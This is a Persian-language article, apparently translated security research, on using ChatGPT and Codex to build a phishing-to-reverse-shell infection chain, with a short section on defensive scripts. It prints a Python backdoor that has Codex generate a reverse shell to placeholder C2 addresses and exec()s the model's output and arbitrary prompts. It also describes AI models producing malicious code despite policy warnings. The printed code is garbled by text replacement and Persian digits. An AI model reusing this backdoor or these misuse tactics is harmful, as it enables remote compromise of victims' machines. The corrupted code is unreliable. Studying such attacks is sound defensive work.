نقش ChatGPT در امنیت سایبری
با عرضه ChatGPT که انتشار اخیر OpenAI از رابط کاربر تازهای برای Large Language Model یا LLM است، در چند هفته اخیر علاقه به هوش مصنوعی عمومی در رسانهها و شبکههای اجتماعی فراگیر شده است. این مدل در بسیاری از برنامههای کاربردی در وب مورد استفاده قرار میگیرد و به دلیل تواناییاش برای ایجاد کدهای مناسب و کمک در فرایند توسعه تحسینشده است. اما این تکنولوژی جدید دارای ریسک نیز هست. برای مثال، پایین آوردن سختی کدنویسی میتواند به عاملان تهدیدی که مهارت کافی ندارند، کمک کند بهراحتی حملات سایبری خود را انجام دهند.
در این مقاله به مسائل زیر پرداخته میشود:
- مدلهای هوش مصنوعی (AI) چگونه مورد استفاده قرار میگیرند تا یک جریان آلودگی کامل را ایجاد کنند، از Spear Phishing گرفته تا اجرای یک Reverse Shell
- پژوهشگران چطور یک Backdoor اضافی ساختند که بهطور پویا Scriptهایی را اجرا میکند که ChatGPT و هوش مصنوعی آنها را میسازد
- مثالهایی از تأثیر مثبت OpenAI از نگاه مدافعان و اینکه چطور میتواند به پژوهشگران کمک کند کارهای روزمره خود را انجام دهد
دنیای امنیت سایبری بهسرعت در حال تغییر است. پس حتماً باید در مورد اینکه این تکنولوژی جدید چطور میتواند روی چشمانداز تهدید تأثیرات مثبت یا منفی بگذارد هوشیار باشیم. بااینکه این تکنولوژی جدید به مدافعان کمک میکند، استاندارد لازم برای اجرای کمپینهای فیشینگ و ایجاد بدافزار را نیز پایین میآورد.
تاریخچه هوش مصنوعی
از ایجاد Image تا نوشتن کد، مدلهای هوش مصنوعی پیشرفت قابلتوجهی در زمینههای مختلف داشتهاند، طوری که نرمافزار معروف AlphaGo در سال ۲۰۱۶ افراد حرفهای را در بازی Go شکست داد و تشخیص گفتار و ترجمه ماشینی توانستند دستیارهای مجازی مثل Siri و Alexa را به ارمغان بیاورند که نقشی اساسی در زندگی ما بازی میکنند.
اخیراً، به دلیل انتشار ChatGPT علاقهی عمومی به هوش مصنوعی به اوج خود رسیده است، این برنامه نمونهای از یک چتبات است که هدف از آن کمک به انجام انواعی از کارهای مختلف و پاسخ به سؤالات است. اگر در چند هفتهی گذشته در رسانههای اجتماعی حضور داشتهاید، حتماً تصاویر بیشماری از تعامل با ChatGPT را دیدهاید، از نوشتن شعر گرفته تا پاسخ به سؤالات برنامهنویسی.
اما مثل هر تکنولوژی دیگری، افزایش محبوبیت ChatGPT ریسک را نیز افزایش میدهد. مثلاً، توییتر پر است از مثالهایی از دیالوگها یا کدهای مخربی که توسط ChatGPT ایجاد شدهاند. با اینکه OpenAI تلاش خیلی زیادی برای متوقف کردن سوءاستفاده از هوش مصنوعی خود کرده است، هنوز هم میتوان آن را برای ایجاد کد خطرناک مورد استفاده قرار داد.
برای اینکه این مطلب روشن شود، تصمیم گرفتیم از ChatGPT و پلتفرم دیگری به نام Codex متعلق به OpenAI استفاده کنیم؛ این پلتفرم یک سیستم مبتنی بر هوش مصنوعی است که زبان طبیعی را به کد ترجمه میکند، بیشترین تواناییاش از Python است اما به زبانهای دیگر نیز تسلط دارد. یک جریان آلودگی کامل ایجاد کردیم و محدودیتهای زیر را به خودمان اعمال کردیم: هیچ کدی ننوشتیم، بلکه اجازه دادیم هوش مصنوعی کل کار را انجام دهد. فقط قطعات پازل را کنار هم گذاشتیم و حمله را اجرا کردیم.
برای روشن شدن مطلب فقط از یک جریان اجرایی، یک ایمیل فیشینگ با یک فایل اکسل مخرب استفاده کردیم که با استفاده از Macroهایی که یک Reverse Shell را دانلود میکنند تبدیل به سلاح شده بود (یکی از ابزارهای محبوب بین عاملان جرایم سایبری).
ChatGPT: ابزار هوشمندی برای حملات فیشینگ
در قدم اول، ما یک ایمیل فیشینگ ساختیم. نمیتوان این کار را از طریق Codex انجام داد، زیرا Codex فقط میتواند کد ایجاد کند، پس از ChatGPT خواستیم که کمک کند و پیشنهاد کردیم که هویت یک شرکت Hosting را جعل کند.
شکل ۱ – ایمیل فیشینگ ساده که توسط ChatGPT ایجاد شده است
باید توجه شود که هرچند OpenAI اشاره میکند که ممکن است این محتوا پالیسی محتوای آن را نقض کند، خروجی آن بسیار کاربردی است. در تعاملهای بعدی با ChatGPT ما میتوانیم الزامات خود را تصریح کنیم: برای اجتناب از Host کردن یک زیرساخت فیشینگ اضافی، میخواهیم که هدفمان فقط یک سند Excel را دانلود کند. صرفاً درخواست از ChatGPT برای پاسخ دوباره، باعث ایجاد یک ایمیل فیشینگ عالی میشود:
شکل ۲ – ایمیل فیشینگ که توسط ChatGPT ایجاد شده
فرایند تکرار پاسخ برای کار کردن با مدل ضروری است، مخصوصاً برای کد. قدم بعدی، یعنی ایجاد کد VBA در سند Excel نیز نیازمند چندین پاسخ است.
این اولین Prompt است:
شکل ۳ – کد VBA ساده که توسط ChatGPT ایجاد شده است
این کد بسیار ساده است و از کتابخانههایی مثل WinHttpReq استفاده میکند. اما بعد از چند تکرار و مدتی چت کردن، ChatGPT کد بهتری تولید میکند:
شکل ۴ – نسخهی دیگری از کد VBA
این نیز Macro بسیار سادهای است، ولی ما تصمیم گرفتیم که در اینجا توقف کنیم، زیرا مبهمسازی و اصلاح کد VBA میتواند یک فرایند تمامنشدنی باشد. ChatGPT ثابت کرد که اگر Promptهای متنی خوبی به او داده شود، میتواند کدهای مخرب کارآمدی را ارائه دهد.
Codex – یک هوش مصنوعی مفید یا مخرب
باوجود دانش ما در مورد اینکه ChatGPT میتواند کد مخرب تولید کند، کنجکاو بودیم که ببینیم Codex که هدف اولیهاش ترجمه زبان طبیعی به کد بود چه کاری میتواند انجام دهد. تمام کدها در ادامه توسط Codex نوشته شده است. ما عمداً ابتداییترین نوع پیادهسازی هر تکنیک را نمایش دادیم تا بدون اشتراک کدهای مخرب زیاد این مطلب روشن شود.
در ابتدا خواستیم که با استفاده از یک IP و پورت جایگزین یک Reverse Shell بسیار ساده را برای ما تولید کند. Prompt همان کامنت در ابتدای بلاک کد است.
شکل ۵ – Reverse Shell ساده که توسط Codex ایجاد شده است
این شروع بسیار خوبی است، اما بهتر میشد اگر ابزار مخربی وجود داشت که میتوانستیم از آنها استفاده کنیم تا در نفوذ به ما کمک کنند. شاید برخی از ابزار اسکن مثل چک کردن اینکه آیا سرویس برای یک SQL Injection و اسکن پورت باز است یا خیر.
شکل ۶ – سادهترین نوع پیادهسازی SQLi که توسط Codex ایجاد شده است
شکل ۷ – اسکریپت ساده اسکن پورت
این هم شروع خوبی است، ولی ما همچنین میخواهیم چند اقدام اصلاحی را نیز اضافه کنیم تا کار مدافعان کمی دشوارتر شود. آیا میتوانیم تشخیص دهیم که برنامه ما در یک Sandbox اجرا میشود یا خیر؟ پاسخ سادهای که توسط Codex ارائه میشود در پایین قابلمشاهده است. البته میتوان با اضافه کردن فروشندگان دیگر و بررسیهای اضافی آن را بهبود بخشید.
شکل ۸ – اسکریپ تساده شناسایی Sandbox
میتوانیم ببینیم که در حال پیشرفت هستیم. اما همهی اینها یک کد پایتون مستقل است. حتی اگر یک هوش مصنوعی این کد را برای ما در یک بسته قرار دهد (که تواناییاش را دارد)، نمیتوانیم مطمئن باشیم که دستگاه آلوده یک تفسیرکننده (Interpreter) داشته باشد. برای پیدا کردن راهی جهت اجرای Native روی هر دستگاه ویندوز، سادهترین راهکار میتواند Compile کردن آن در یک EXE باشد. این بار هم رفقای هوش مصنوعی ما به ما کمک کردند:
شکل ۹ – تبدیل از Python به EXE
به همین سادگی، جریان آلودگی کامل شد. ما یک ایمیل فیشینگ با یک سند Excel ضمیمه ساختیم که حاوی کد VBA مخرب بود که یک Reverse Shell را در ماشین هدف دانلود میکند. کار سخت توسط هوش مصنوعیها انجام شد و تنها کاری که ما باید انجام میدادیم اجرای حمله بود.
دانشی در کدنویسی ندارید؟ نگران نباشید، انگلیسی کافی است
ما کنجکاو بودیم که ببینیم این روند تا کجا ادامه دارد. ساختن ماژولها و اسکریپتهای ابتدایی خوب است، اما یک حملهی سایبری واقعی نیازمند انعطافپذیری است، زیرا نیازهای مهاجمین در طول یک نفوذ با توجه به محیط آلوده به سرعت تغییر میکن. برای اینکه ببینیم چطور میتوانیم از قابلیتهای هوش مصنوعی برای ایجاد کد بهره ببریم تا به این نیاز پویا پاسخ بدهیم، کد پایتون کوتاه زیر را ساختیم. پسازاینکه یک PE آماده شد، فایل EXE در ابتدا آن Reverse Shell را که قبلاً در موردش صحبت کردیم اجرا میکند. سپس منتظر دستوراتی با cmd- flag میماند و اسکریپتهای پایتون را اجرا میکند که با Query کردن Codex API و ارائهی یک Prompt ساده به زبان انگلیسی ساخته میشود.
import os
import sys
import OpenAI
import argparse
import socket
import winreg
OpenAI.api_key = <API_KEY>
parser = argparse.ArgumentParser()
parser.add_argument(‘-cmd’, type=ascii, help=’Prompt that will be run on infected machine’)
args = parser.parse_args()
def ExecuteReverseShell():
response = OpenAI.Completion.create(
model=”code-davinci-002″,
prompt=”\”\”\”\nExecute reverse shell script on a windows machine and connect to IP address <C2_IP_Address> port <C2_Port>.\n\”\”\””,
temperature=0,
max_tokens=1000,
top_p=1,
frequency_penalty=0,
presence_penalty=0
)
exec(response.choices[۰].text)
def ExecutePrompt(prompts):
response = OpenAI.Completion.create(
model=”code-davinci-002″,
prompt=”\”\”\”\n”+prompts+”\n\”\”\””,
temperature=0,
max_tokens=1000,
top_p=1,
frequency_penalty=0,
presence_penalty=0
)
exec(response.choices[۰].text)
if __name__ == ‘__mهوش مصنوعیn__’:
if len(sys.argv) == ۱:
ExecuteReverseShell()
if args.cmd:
ExecutePrompt(args.cmd)
حالا که چند مثال از اجرای اسکریپت زیر داریم، کشف مسیرهای احتمالی برای توسعهی این نوع از حمله را به عهدهی خوانندهی کنجکاو میگذاریم:
شکل ۱۰ – اجرای کد ایجاد شده براساس ورودی به زبان انگلیسی
استفاده از Codex برای کمک به مدافعان هوش مصنوعی و ChatGPT
تا اینجا ما با استفاده از LLMها دیدگاه عاملان تهدید را نمایش دادیم. اما باید بدانیم که این تکنولوژی بهخودیخود مخرب نیست و هرکسی میتواند از آن استفاده کند. همانطور که فرایندهای حمله را میتوان خودکارسازی کرد، مدافعان نیز میتوانند در کارهای خود خودکارسازی انجام دهند.
برای نشان دادن این موضوع از Codex خواستیم که دو عملکرد پایتون ساده بنویسد: یکی از آنها به ما کمک میکند که با استفاده از بستهی YARA درون فایلها به دنبال URLهای خاصی بگردیم و دیگری VirusTotal را Query میکند تا تعداد شناساییها برای یک Hash بهخصوص مشخص گردد. با اینکه پیادهسازیهای متنباز بهتری برای این اسکریپتها وجود دارند که توسط جامعهی مدافعان نوشته شدهاند، امیدواریم که افراد تیم آبی و شکارچیان تهدید از خلاقیت خود استفاده کنند و با به کارگیری LLMهای جدید کار خود را خودکارسازی کرده و بهبود بخشند.
شکل ۱۱ – VT API Query برای بررسی تعداد شناساییها برای یک Hash
شکل ۱۲ – اسکریپت YARA که رشتههای URL را در یک فایل چک میکند
نتیجهگیری
نقش روزافزون LLM و هوش مصنوعی در دنیای سایبری پر از فرصت است اما ریسکهایی را هم به همراه میآورد. بااینکه میتوان با استفاده از فرایندهایی ساده در مقابل جریان آلودگی و کد که در این مقاله ارائه شد دفاع کرد، این فقط نمایشی ابتدایی از تأثیر هوش مصنوعی روی امنیت سایبری بود. میتوان با تغییرات اندک و از طریق عبارتهای متفاوت بهسادگی اسکریپتهای مختلفی را ایجاد کرد. فرایندهای حملهی پیچیدهای را نیز میتوان با استفاده از APIهای LLMها خودکارسازی کرد تا Artifactهای مخرب دیگری ایجاد گردد. مدافعان و شکارچیان تهدید باید نسبت به اتخاذ سریع این تکنولوژی هشیار باشند، در غیر این صورت یک قدم از مهاجمین عقب خواهیم بود.